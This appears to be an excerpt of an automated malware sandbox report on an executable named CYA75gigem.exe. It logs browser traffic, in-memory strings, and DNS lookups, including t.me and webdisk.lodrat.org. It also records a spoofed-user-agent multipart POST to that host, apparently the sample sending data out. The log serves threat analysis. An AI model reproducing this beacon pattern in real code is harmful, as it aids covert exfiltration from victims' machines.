MUID=2DC2684C548A6DF12F7B7DDF55E86C57; MUIDB=2DC2684C548A6DF12F7B7DDF55E86C57; _EDGE_S=F=1&SID=3483B987A5026DF620DEAC14A4F66CE6; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/web-worker.96ac23719317b1928681.js HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 1.45sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 100sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-full-version: "117.0.2045.47"sec-ch-dpr: 1ect: 4gAccept: /sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=EF3D1CEC59894898A5CA1011D58FBBA8.RefC=2025-02-14T07:25:35Z; USRLOC=; MUID=2DC2684C548A6DF12F7B7DDF55E86C57; MUIDB=2DC2684C548A6DF12F7B7DDF55E86C57; _EDGE_S=F=1&SID=3483B987A5026DF620DEAC14A4F66CE6; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/vendors.f30eb488fb3069c7561f.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/microsoft.5da1d823f3d7131a6bff.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common.4d74ce6d770d1f2b035e.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/experience.ea60ee3e04f7fd86bc43.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/ASuc5ohfQPNzGo5SSihcSk6msC8CUKw5id-p0KCEkBKwK2LS4AjdrDP0wa1qjzCTaTWEfyM52ADmUAdPETYA5vgD87UPEj6gyG11hjsvMLHGmzQgJ9F5D8s8Lo0Lbai5BQYAxlKa5esPJXukyaicyq83JwZ0HIWqzrjN/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_86_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /statics/icons/favicon_newtabpage.png HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=2DC2684C548A6DF12F7B7DDF55E86C57; _EDGE_S=F=1&SID=3483B987A5026DF620DEAC14A4F66CE6; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1739522257441&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=ef3d1cec59894898a5ca1011d58fbba8&activityId=ef3d1cec59894898a5ca1011d58fbba8&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=2DC2684C548A6DF12F7B7DDF55E86C57; _EDGE_S=F=1&SID=3483B987A5026DF620DEAC14A4F66CE6; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b?rn=1739522257442&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2DC2684C548A6DF12F7B7DDF55E86C57&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1739522257442&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2DC2684C548A6DF12F7B7DDF55E86C57&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1A60c9c0d8add1857a8a1ee1739517942; XID=1A60c9c0d8add1857a8a1ee1739517942
Source: global traffic	HTTP traffic detected: GET /edge/ntp?locale=en-GB&title=New+tab&enableForceCache=true HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 1.35sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 250sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-full-version: "117.0.2045.47"sec-ch-dpr: 1ect: 3gAccept: /sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_Auth=; pglt-edgeChromium-dhp=547; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=EF3D1CEC59894898A5CA1011D58FBBA8.RefC=2025-02-14T07:25:35Z; USRLOC=; MUID=2DC2684C548A6DF12F7B7DDF55E86C57; MUIDB=2DC2684C548A6DF12F7B7DDF55E86C57; _EDGE_S=F=1&SID=3483B987A5026DF620DEAC14A4F66CE6; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=bb3dee72-a8ad-421a-bfb4-11b5bb6f4868; ai_session=HpATCAGQEzVThnhJBZ6yZv\|1739522257436\|1739522257436; sptmarket_restored=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=EF3D1CEC59894898A5CA1011D58FBBA8.RefC=2025-02-14T07:25:35Z
Source: global traffic	HTTP traffic detected: GET /edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true HTTP/1.1Host: ntp.msn.comConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-edge-ntp: {"back_block":0,"bg_cur":{"configIndex":51,"imageId":"BB1msySq","provider":"CMSImage","userSelected":false},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"myFeed","show_greet":true,"vt_opened":false,"wpo_nx":{"v":"2","wgt":{"src":"default"}}}Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_Auth=; pglt-edgeChromium-dhp=547; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=EF3D1CEC59894898A5CA1011D58FBBA8.RefC=2025-02-14T07:25:35Z; USRLOC=; MUID=2DC2684C548A6DF12F7B7DDF55E86C57; MUIDB=2DC2684C548A6DF12F7B7DDF55E86C57; _EDGE_S=F=1&SID=3483B987A5026DF620DEAC14A4F66CE6; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=bb3dee72-a8ad-421a-bfb4-11b5bb6f4868; ai_session=HpATCAGQEzVThnhJBZ6yZv\|1739522257436\|1739522257436; sptmarket_restored=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=EF3D1CEC59894898A5CA1011D58FBBA8.RefC=2025-02-14T07:25:35Z
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1739522257441&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=ef3d1cec59894898a5ca1011d58fbba8&activityId=ef3d1cec59894898a5ca1011d58fbba8&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=9A4981D3FDDD481BBE8A0876958624B3&MUID=2DC2684C548A6DF12F7B7DDF55E86C57 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=2DC2684C548A6DF12F7B7DDF55E86C57; _EDGE_S=F=1&SID=3483B987A5026DF620DEAC14A4F66CE6; _EDGE_V=1; SM=T; _C_ETH=1; msnup=%7B%22cnex%22%3A%22no%22%7D

Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000B.00000003.1715827786.0000009C003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1715637633.0000009C00F9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1715695595.0000009C00F38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 0000000B.00000003.1715827786.0000009C003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1715637633.0000009C00F9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1715695595.0000009C00F38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;

Source: global traffic	DNS traffic detected: DNS query: 15.164.165.52.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: webdisk.lodrat.org
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: browser.events.data.msn.com
Source: global traffic	DNS traffic detected: DNS query: r.msftstatic.com

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----w4w4wl68y5ph47qi589rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:137.0) Gecko/20100101 Firefox/137.0Host: webdisk.lodrat.orgContent-Length: 256Connection: Keep-AliveCache-Control: no-cache

Source: CYA75gigem.exe	String found in binary or memory: http://.css
Source: CYA75gigem.exe	String found in binary or memory: http://.jpg
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
